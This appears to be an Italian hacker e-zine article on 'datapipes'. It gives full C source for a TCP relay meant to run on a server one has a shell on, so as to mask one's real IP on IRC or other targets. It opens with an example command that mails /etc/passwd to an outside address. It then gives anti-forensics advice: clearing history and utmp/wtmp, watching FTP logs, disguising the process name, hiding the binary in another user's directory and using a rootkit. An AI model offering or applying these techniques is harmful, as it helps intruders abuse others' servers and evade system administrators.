==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ iNTR0DUZi0NE Ai DATAPiPE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Per capire il funzionamento di un datapipe bisogna aver prima chiaro il
concetto di pipe: nelle shell un pipe serve per una gestione completa e
corretta dell'input e dell'output, e in particolare permette di passare dati
da un comando all'altro, consentendo quindi di utilizzare l'output di un
programma come input di un altro: un pipe insomma non svolge altro che una
funzione di condotto tra due flussi di dati. 
In Unix e sistemi Unix like il pipe nelle shell e' espresso con il carattere
'|'. Facciamo un esempio per chiarire meglio il concetto:
supponiamo di volere mandare il nostro file delle password a un nostro amico,
utilizzando il mail transfer agent di Linuz, mail, anziche' utilizzare un mailer
e fare un file attach; ci bastera' scrivere:

$ more /etc/passwd | mail amico@pirla.com
    |       |         |        |
    |_ comando per vedere a schermo il contenuto di un file (simile a type
	    |	      |	       |	                     del DOS)
 	    |_ file che vogliamo vedere con il comando more
                      |        |
                      |_ mail transfer agent
                               |
                               |_ indirizzo di posta del nostro amico :)

In questo caso ridirigiamo attraverso il pipe l'output di 'more
/etc/passwd', ovvero il contenuto del passwd, verso il comando mail che lo
utilizzera' come input, in questo caso come corpo del messaggio indirizzato
a amico@pirla.com.
Chiarito il concetto di pipe, passiamo ora al funzionamento di un datapipe.
Innanzitutto bisogna definirlo: un datapipe e' un programma che consente di
ridirigere una connessione verso un determinato server. Possiamo
schematizzare il tutto come segue:

A nostro computer
B server che ospita il datapipe
C server "vittima", ovvero server su cui la connessione viene dirottata

Quindi: 
	1- A chiama B (a una determinata porta che avrete scelto)
	2- B mette in contatto A con C

Sul server C siete quindi loggati con l'IP di B. Il datapipe funzia, come
visto per i pipe, da condotto, da tramite... vediamo ora come sfruttare questa
situazione! :)
Per cominciare, di cosa avete bisogno... allora:

* una shell (che sia in grado di compilare il codice del datapipe :)
* un datapipe (vedete poi! :)

...a questo punto vi chiederete cosa fare... :) beh ora ve lo spiego! :)
Per prima cosa uppate il codice del datapipe sul server B via FTP o forse
meglio con un copia/incolla + cat via telnet! :) ...un altro metodo sicuro
e' farlo via mail...spedite una mail con attach il codice del datapipe alla
vostra shell! :) N.B. se uppate via FTP occhio all'xferlog o wu_ftp.log ! :)
Ora non dovete fare altro che compilare il codice del datapipe e
eseguirlo...:) Solitamente i datapipe richiedo 3 parametri: 

	1) local port: e' la porta locale, ovvero la porta che utilizzerete
		       per ridirigere la connessione (sul server B)
	2) remote host: e' il server su cui volete ridirigire la connessione
			(server C)
	3) remote port: e' la porta (del server C) a cui vi collegherete

Vi sono poi datapipe che vi consentono di loggare le connessioni e altre
cosette ...ma a noi non importa, anzi non vogliamo che questo accada! :)
...il codice che allego scarica la connessione sul server C e niente altro...
...insomma, no logging!
Ora che sapete usare un datapipe, vi chiederete: cosa ce ne facciamo?
Semplice, potete utilizzarlo per spoofarvi! Su IRC o su un qualsiasi server
che avrete impostato come server C! :) (il remote host!)...e il vostro IP
"reale", quello che l'ISP vi assegna, se saprete sfruttare adeguatamente il
server B, non verra' loggato da nessuna parte! :) ...sfruttare adeguatamente
il server B, vuol dire non lasciare nessuna traccia nell'history file,
nell'utmp e wtmp eccetera eccetera... :)

Ecco il codice del datapipe da compilare :


}---------------------------------> INIZIO <----------------------------------{

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
 
#include <linux/time.h>
 
#undef STRERROR
#ifdef STRERROR
extern char *sys_errlist[];
extern int sys_nerr;
char *undef = "Undefined error";

char *strerror(error)  
  int error;
{
  if (error > sys_nerr)
    return undef;
  return sys_errlist[error];
}
#endif

main(argc, argv)
  int argc;
  char **argv;
{
  int lsock, csock, osock;
  FILE *cfile;
  char buf[4096];
  struct sockaddr_in laddr, caddr, oaddr;
  int caddrlen = sizeof(caddr);
  fd_set fdsr, fdse;
  struct hostent *h;
  struct servent *s;
  int nbyt;
  unsigned long a;
  unsigned short oport;

  if (argc != 4) {
    fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
    return 30;
  }
  a = inet_addr(argv[3]);
  if (!(h = gethostbyname(argv[3])) &&
      !(h = gethostbyaddr(&a, 4, AF_INET))) {
    perror(argv[3]);
    return 25;
  }
  oport = atol(argv[2]);
  laddr.sin_port = htons((unsigned short)(atol(argv[1])));
  if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("socket");
    return 20;
  }
  laddr.sin_family = htons(AF_INET);
  laddr.sin_addr.s_addr = htonl(0);
  if (bind(lsock, &laddr, sizeof(laddr))) {
    perror("bind");
    return 20;
  }
  if (listen(lsock, 1)) {
    perror("listen");
    return 20;
  }
  if ((nbyt = fork()) == -1) {
    perror("fork");
    return 20;
  }
  if (nbyt > 0)
    return 0;
  setsid();
  while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
    cfile = fdopen(csock,"r+");
    if ((nbyt = fork()) == -1) {
      fprintf(cfile, "500 fork: %s\n", strerror(errno));
      shutdown(csock,2);
      fclose(cfile);
      continue;
    }
    if (nbyt == 0)
      goto gotsock;
    fclose(cfile);
    while (waitpid(-1, NULL, WNOHANG) > 0);
  }
  return 20;

 gotsock:
  if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    fprintf(cfile, "500 socket: %s\n", strerror(errno));
    goto quit1;
  }
  oaddr.sin_family = h->h_addrtype;
  oaddr.sin_port = htons(oport);
  memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
  if (connect(osock, &oaddr, sizeof(oaddr))) {
    fprintf(cfile, "500 connect: %s\n", strerror(errno));
    goto quit1;
  }
  while (1) {
    FD_ZERO(&fdsr);
    FD_ZERO(&fdse);
    FD_SET(csock,&fdsr);
    FD_SET(csock,&fdse);
    FD_SET(osock,&fdsr);
    FD_SET(osock,&fdse);
    if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
      fprintf(cfile, "500 select: %s\n", strerror(errno));
      goto quit2;
    }
    if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
      if ((nbyt = read(csock,buf,4096)) <= 0)
	goto quit2;
      if ((write(osock,buf,nbyt)) <= 0)
	goto quit2;
    } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
      if ((nbyt = read(osock,buf,4096)) <= 0)
	goto quit2;
      if ((write(csock,buf,nbyt)) <= 0)
	goto quit2;
    }
  }

 quit2:
  shutdown(osock,2);
  close(osock);
 quit1:
  fflush(cfile);
  shutdown(csock,2);
 quit0:
  fclose(cfile);
  return 0;
}

}*---------------------------------> FINE <----------------------------------{

Per concludere, un paio di note: 
1) ricordatevi che il processo del datapipe puo' esser visto dal system
administrator con un semplice ps -ax; per ovviare a questo problema potete o
utilizzare le tecniche esposte nell'articolo di PiGPeN73 "Come nascondersi
nei sistemi unix" o forse meglio ancora in aggiunta a queste tecniche,
scrivere uno script o un programmino che se chiamato con dei parametri, che
solo voi saprete, sara' in grado lanciare il datapipe! :) ...e al ps -ax il
sysadm vedra' solo il vostro prg anziche' il datapipe! :) 
se poi rinominate il vostro prg con qualche nome del tipo xtern probabilemente
il sysadm non se ne accorgera' nemmeno! :)
2) mettete il datapipe in una directory sperduta, meglio se di un altro
utente (fate voi! :)
3) se utilizzate il datapipe verso piu' server ricordatevi di killare i
processi che non vi servono piu' (solitamente con kill -HUP )...
...avrete piu' possibilita' di non essere sgamati! :)

In alternativa a tutte queste pallose note potete utilizzare il rootkit (non 
per tutti gli os esiste) per nascondere il processo ! :) 

Alla prossima... :) 

_EOF_
                               bELFaghor Nocturnus Daem0n

--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================